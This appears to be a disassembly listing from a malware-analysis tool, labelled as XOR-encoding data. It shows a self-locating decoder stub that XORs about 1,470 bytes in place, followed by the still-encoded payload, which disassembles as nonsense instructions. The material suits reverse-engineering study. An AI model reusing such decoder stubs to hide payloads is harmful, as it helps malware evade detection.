Function at 0xefb314
Capabilities:
Encode data using xor

Disassembly:
jmp 0xefb31e
pushal
call 0xefb324
pop ebp
sub ebp, 0x10
sub ebp, 0xafb314
jmp 0xefb33a
mov eax, 0xafb314
add eax, ebp
add eax, 0x4c
mov ecx, 0x5be
mov edx, 0x2a79c9f9
xor byte [eax], dl
inc eax
dec ecx
jne 0xefb351
jmp 0xefb364
jb 0xefb39a
jb 0xefb3d8
vpsubw xmm7, xmm0, xmm1
js 0xefb3a6
add ecx, edi
stc
stc
cli
xor al, 0x41
invalid
and al, 0xd9
stc
fyl2xp1
xchg ecx, eax
jne 0xefb3cc
ja 0xefb39b
clc
aad 0xdd
xchg ecx, eax
stosd dword es:[edi], eax
and dword [ebx + 0x3c], eax
adc esp, edi
stc
stc
stc
adc cl, dl
stc
stc
stc
lodsb al, byte [esi]
jb 0xefb3cc
jb 0xefb435
int1
stc
stc
stc
jb 0xefb42b
cmc
stc
stc
stc
jb 0xefb439
jmp 0x39e9adc3
enter 0x7afb, 0x3b
std
mov al, 0xf6
jl 0xefb3e2
push es
push es
push es
movsb byte es:[edi], byte [esi]
cmp esi, ebp
stc
jb 0xefb453
invalid
stc
xchg ecx, eax
jno 0xefb40a
fyl2xp1
xchg ecx, eax
jne 0xefb417
ja 0xefb3e6
clc
aad 0xdd
test al, 0x11
cld
stc
stc
stc
adc dl, cl
sti
stc
stc
lodsb al, byte [esi]
lodsd eax, dword [esi]
movsb byte es:[edi], byte [esi]
push es
invalid
int1
adc dword [edi + 0x72f9f9f9], ebx
inc esp
int1
stc
stc
stc
retf 0xca30
xor dl, cl
sub edi, dword [edx + 0x11]
cld
mov cl, 0xf6
jge 0xefb3d1
idiv byte [ebp - 0x49]
stc
stc
stc
div byte [ecx - 0x4f]
jno 0xefb3d1
stc
stc
stc
lahf
jb 0xefb40b
sar byte [ecx + 2], 0x11
idiv byte [ebp - 0x1d]
jge 0xefb410
stc
stc
stc
jns 0xefb434
adc dh, dh
jge 0xefb41e
call 0xa0e9ae33
stc
stc
stc
lahf
js 0xefb43e
push es
fdivr st(6), st(0)
jge 0xefb42d
idiv byte [ebp - 0x14]
stc
stc
stc
mov eax, 0x6063510
push es
sal byte [ebp + 0x387af8c0], 1
cld
jp 0xefb464
std
adc byte [esi + eax + 6], al
push es
shr byte [ebp + 0x387afbc0], 1
invalid
adc esp, edi
adc byte [edx + 6], dl
push es
push es
movsb byte es:[edi], byte [esi]
cmp esi, ebp
stc
lodsb al, byte [esi]
jb 0xefb487
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
lodsb al, byte [esi]
jb 0xefb403
cmc
jb 0xefb3fe
int1
add eax, 0xff73794b
js 0xefb4c1
clc
stc
stc
stc
jno 0xefb486
invalid
js 0xefb4c8
clc
stc
stc
stc
inc edx
sti
stc
stc
stc
sti
sub esi, esi
jl 0xefb494
stc
stc
stc
jae 0xefb48c
mov edi, 0x7af62beb
and dword [esi], eax
jmp 0xefb4cb
sub esi, esi
jp 0xefb4c4
push es
push es
push es
sti
sub esi, esi
jl 0xefb4a7
stc
stc
stc
jae 0xefb49f
mov edi, 0x7af62beb
xchg ebx, eax
jp 0xefb449
stc
stc
stc
retf 0xfb39
stc
stc
jae 0xefb4b4
out dx, eax
mov edi, 0x7af62beb
sar eax, cl
sub esi, esi
jp 0xefb49e
idiv byte [edx - 0x2d]
clc
stc
stc
sti
sub esi, esi
jl 0xefb4cf
stc
stc
stc
jae 0xefb4c7
mov edi, 0x39ea2beb
sti
sub esi, esi
jl 0xefb4de
stc
stc
stc
jae 0xefb4d6
mov edi, 0x39ea2beb
sti
sub esi, esi
jl 0xefb4ed
stc
stc
stc
jae 0xefb4e5
mov edi, 0x39ea2beb
sti
sub esi, esi
jl 0xefb4fc
stc
stc
stc
jae 0xefb4f4
mov edi, 0x39ea2beb
idiv byte [ebp - 1]
stc
stc
stc
jb 0xefb538
shl byte [ecx], cl
jae 0xefb510
jno 0xefb516
mov esi, 0xf9f9fb42
stc
adc byte [ecx + 0x41060606], cl
push es
push es
inc ecx
clc
stc
stc
stc
sti
sub esi, esi
jl 0xefb529
stc
stc
stc
jae 0xefb521
mov edi, 0x39ea2beb
sti
sub esi, esi
jl 0xefb538
stc
stc
stc
jae 0xefb530
mov edi, 0x7bf62beb
daa
push es
push es
push es
sar byte [edx], cl
inc edx
clc
stc
stc
stc
idiv byte [ebp + ecx*8 - 7]
stc
stc
inc eax
clc
stc
stc
stc
sti
sub esi, esi
jl 0xefb55d
stc
stc
stc
jae 0xefb555
mov edi, 0x30ea2beb
sti
sub esi, esi
jl 0xefb56c
stc
stc
stc
jae 0xefb564
mov edi, 0x7bf62beb
daa
push es
push es
push es
scasd eax, dword es:[edi]
jb 0xefb58f
ror byte [edx + ecx], cl
pop ebp
cmpsd dword [esi], dword es:[edi]
adc cl, dh
push es
push es
push es
mov cl, 0x38
sbb ecx, esi
jae 0xefb590
invalid
mov edi, 0xf8401172
jb 0xefb5a5
inc eax
clc
stc
stc
stc
sti
sub esi, esi
jl 0xefb59a
stc
stc
stc
jae 0xefb592
mov edi, 0x30ea2beb
sti
sub ebp, edx
xor bl, bh
sub esi, esi
jl 0xefb5a9
stc
stc
stc
jae 0xefb5a1
mov edi, 0x7bf62beb
daa
push es
push es
push es
js 0xefb5be
stc
test cl, bh
stc
js 0xefb5e3
push es
push es
push es
push es
js 0xefb5ca
stc
cld
stc
stc
js 0xefb5ef
push es
push es
push es
push es
js 0xefb5d6
jns 0xefb5d0
stc
stc
stc
js 0xefb603
stc
stc
stc
stc
js 0xefb5e2
jns 0xefb5dc
stc
stc
stc
js 0xefb60f
stc
stc
stc
stc
scasd eax, dword es:[edi]
jb 0xefb5fc
ror byte [ecx], cl
or bl, byte [ebp - 0x59]
or dword [edx], ecx
pop ebp
cmpsd dword [esi], dword es:[edi]
adc byte [edx + 7], ah
pop es
push es
push es
jae 0xefb5f9
invalid
mov edi, 0x113930ca
clc
xor byte [ecx], bh
adc eax, edi
idiv byte [ebp - 0x1d]
stc
stc
stc
js 0xefb630
sti
stc
stc
stc
jb 0xefb61f
scasd eax, dword es:[edi]
jb 0xefb61f
ror byte [ecx], cl
or bl, byte [ebp - 0x59]
inc edx
clc
stc
stc
stc
adc byte [edx - 0x5bf9f9f9], cl
push es
movsb byte es:[edi], byte [esi]
rol byte [ecx + esi*8 - 0x5859c18e], cl
jb 0xefb646
movsb byte es:[edi], byte [esi]
cmp esi, ecx
stc
jb 0xefb5f5
fnsave dword [ebp + ebx*4 - 0x23]
std
jb 0xefb604
fnsave dword [ebp + ebx*4 - 0x23]
std
adc ch, bh
stc
stc
stc
and ebx, esi
mov al, byte [0x4aed413b]
in eax, dx
dec edx
push esi
stc
cli
cmp al, 0x78
cmp dword [esi + 0x40f9f9fa], ebp
dec edx
sti
stc
stc
inc ebx
iretd